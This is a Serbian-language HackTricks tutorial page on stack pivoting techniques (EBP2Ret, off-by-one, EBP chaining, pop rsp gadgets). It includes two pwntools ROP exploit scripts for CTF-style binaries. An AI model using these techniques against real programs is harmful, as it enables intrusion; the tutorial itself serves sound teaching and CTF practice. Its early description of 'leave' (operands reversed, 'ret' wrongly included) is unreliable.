mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
203 lines
9.3 KiB
Markdown
203 lines
9.3 KiB
Markdown
# Stack Pivoting - EBP2Ret - EBP chaining
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
|
|
## Osnovne informacije
|
|
|
|
Ova tehnika iskorišćava mogućnost manipulacije **Base Pointer-a (EBP)** kako bi se lanciralo izvršavanje više funkcija kroz pažljivu upotrebu EBP registra i sekvence instrukcija **`leave; ret`**.
|
|
|
|
Kao podsetnik, **`leave`** u osnovi znači:
|
|
```
|
|
mov ebp, esp
|
|
pop ebp
|
|
ret
|
|
```
|
|
I pošto je **EBP u stack-u** pre EIP-a, moguće je kontrolisati ga kontrolišući stack.
|
|
|
|
### EBP2Ret
|
|
|
|
Ova tehnika je posebno korisna kada možete **izmeniti EBP registar ali nemate direktni način da promenite EIP registar**. Iskorišćava ponašanje funkcija kada završe izvršavanje.
|
|
|
|
Ako tokom izvršavanja `fvuln` uspete da ubacite **lažni EBP** u stack koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shell koda (plus 4 bajta za `pop` operaciju), možete indirektno kontrolisati EIP. Kada se `fvuln` završi, ESP je postavljen na ovu izrađenu lokaciju, a sledeća `pop` operacija smanjuje ESP za 4 bajta, **efektivno ga usmeravajući ka adresi koju je napadač tamo sačuvao.**\
|
|
Primetite kako **morate znati 2 adrese**: Onu gde će ići ESP, gde ćete morati upisati adresu na koju pokazuje ESP.
|
|
|
|
#### Konstrukcija napada
|
|
|
|
Prvo morate znati **adresu gde možete pisati proizvoljne podatke / adrese**. ESP će pokazivati ovde i **izvršiti prvi `ret`**.
|
|
|
|
Zatim, morate znati adresu koju koristi `ret` koja će **izvršiti proizvoljni kod**. Možete koristiti:
|
|
|
|
* Validnu [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) adresu.
|
|
* Adresu **`system()`** praćenu sa **4 nepotrebna bajta** i adresom `"/bin/sh"` (x86 bitovi).
|
|
* Adresu **`jump esp;`** gedžeta ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) praćenu sa **shell kodom** za izvršavanje.
|
|
* Nešto [**ROP**](../rop-return-oriented-programing/) lanac
|
|
|
|
Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, moraju biti **`4` bajta** zbog **`pop`** dela `leave` instrukcije. Moguće je zloupotrebiti ove 4B da se postavi **drugi lažni EBP** i nastavi kontrolisanje izvršavanja.
|
|
|
|
#### Off-By-One napad
|
|
|
|
Postoji specifična varijanta ove tehnike poznata kao "Off-By-One napad". Koristi se kada možete **samo izmeniti najmanje značajan bajt EBP-a**. U tom slučaju, lokacija memorije koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa strožijim uslovima.\
|
|
Obično se modifikuje bajt 0x00 da bi se skočilo što dalje.
|
|
|
|
Takođe, uobičajeno je koristiti RET klizaljku u stack-u i staviti pravi ROP lanac na kraju kako bi bilo verovatnije da novi ESP pokazuje unutar RET KLIZALJKE i da se izvrši konačni ROP lanac.
|
|
|
|
### **EBP Povezivanje**
|
|
|
|
Stavljanjem kontrolisane adrese u `EBP` unos stack-a i adrese za `leave; ret` u `EIP`, moguće je **pomeriti `ESP` na kontrolisanu `EBP` adresu iz stack-a**.
|
|
|
|
Sada je **`ESP`** kontrolisan pokazujući ka željenoj adresi i sledeća instrukcija za izvršavanje je `RET`. Da bi se iskoristilo ovo, moguće je staviti na kontrolisano mesto ESP-a ovo:
|
|
|
|
* **`&(sledeći lažni EBP)`** -> Učitaj novi EBP zbog `pop ebp` iz `leave` instrukcije
|
|
* **`system()`** -> Pozvan od strane `ret`
|
|
* **`&(leave;ret)`** -> Pozvan nakon što system završi, pomeriće ESP na lažni EBP i početi ponovo
|
|
* **`&("/bin/sh")`**-> Parametar za `system`
|
|
|
|
Na ovaj način je moguće povezati nekoliko lažnih EBPa da se kontroliše tok programa.
|
|
|
|
Ovo je kao [ret2lib](../rop-return-oriented-programing/ret2lib/), ali složenije bez očigledne koristi ali može biti interesantno u nekim specifičnim slučajevima.
|
|
|
|
Osim toga, ovde imate [**primer izazova**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) koji koristi ovu tehniku sa **procurivanjem stack-a** da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16)
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
LEAVE_RET = 0x40117c
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229
|
|
|
|
payload = flat(
|
|
0x0, # rbp (could be the address of anoter fake RBP)
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0,
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
|
|
|
payload += flat(
|
|
buffer, # Load leak address in RBP
|
|
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
## EBP možda neće biti korišćen
|
|
|
|
Kao što je [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa određenim optimizacijama, **EBP nikada ne kontroliše ESP**, stoga, bilo koji eksploit koji radi kontrolišući EBP će zapravo neuspeti jer nema stvarnog efekta.\
|
|
To je zato što se **prolog i epilog menjaju** ako je binarni fajl optimizovan.
|
|
|
|
* **Nije optimizovan:**
|
|
```bash
|
|
push %ebp # save ebp
|
|
mov %esp,%ebp # set new ebp
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
|
ret # return
|
|
```
|
|
* **Optimizovano:**
|
|
```bash
|
|
push %ebx # save ebx
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
add $0x10c,%esp # reduce stack size
|
|
pop %ebx # restore ebx
|
|
ret # return
|
|
```
|
|
## Druge metode kontrole RSP
|
|
|
|
### **`pop rsp`** gedžet
|
|
|
|
[**Na ovoj stranici**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, i postojao je **`pop rsp` gedžet** i postoji **leak sa steka**:
|
|
```python
|
|
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
|
# This version has added comments
|
|
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229 # pop RSI and R15
|
|
|
|
# The payload starts
|
|
payload = flat(
|
|
0, # r13
|
|
0, # r14
|
|
0, # r15
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0, # r15
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(104, b'A') # pad to 104
|
|
|
|
# Start popping RSP, this moves the stack to the leaked address and
|
|
# continues the ROP chain in the prepared payload
|
|
payload += flat(
|
|
POP_CHAIN,
|
|
buffer # rsp
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
### xchg \<reg>, rsp gedžet
|
|
```
|
|
pop <reg> <=== return pointer
|
|
<reg value>
|
|
xchg <reg>, rsp
|
|
```
|
|
### jmp esp
|
|
|
|
Proverite tehniku ret2esp ovde:
|
|
|
|
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
|
|
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Reference & Drugi Primeri
|
|
|
|
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
|
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
|
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
|
|
* 64 bita, off by one eksploatacija sa rop lancem koji počinje sa ret sledom
|
|
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
|
|
* 64 bita, bez relro, canary, nx i pie. Program omogućava curenje memorije za stack ili pie i vrednost qword-a. Prvo dobijte curenje stack-a i koristite vrednost qword-a da se vratite i dobijete curenje pie-a. Zatim koristite vrednost qword-a da napravite večnu petlju zloupotrebom unosa `.fini_array` + pozivanjem `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Zloupotrebom ovog "večnog" pisanja, formira se ROP lanac u .bss i završava se pozivom pivota sa RBP.
|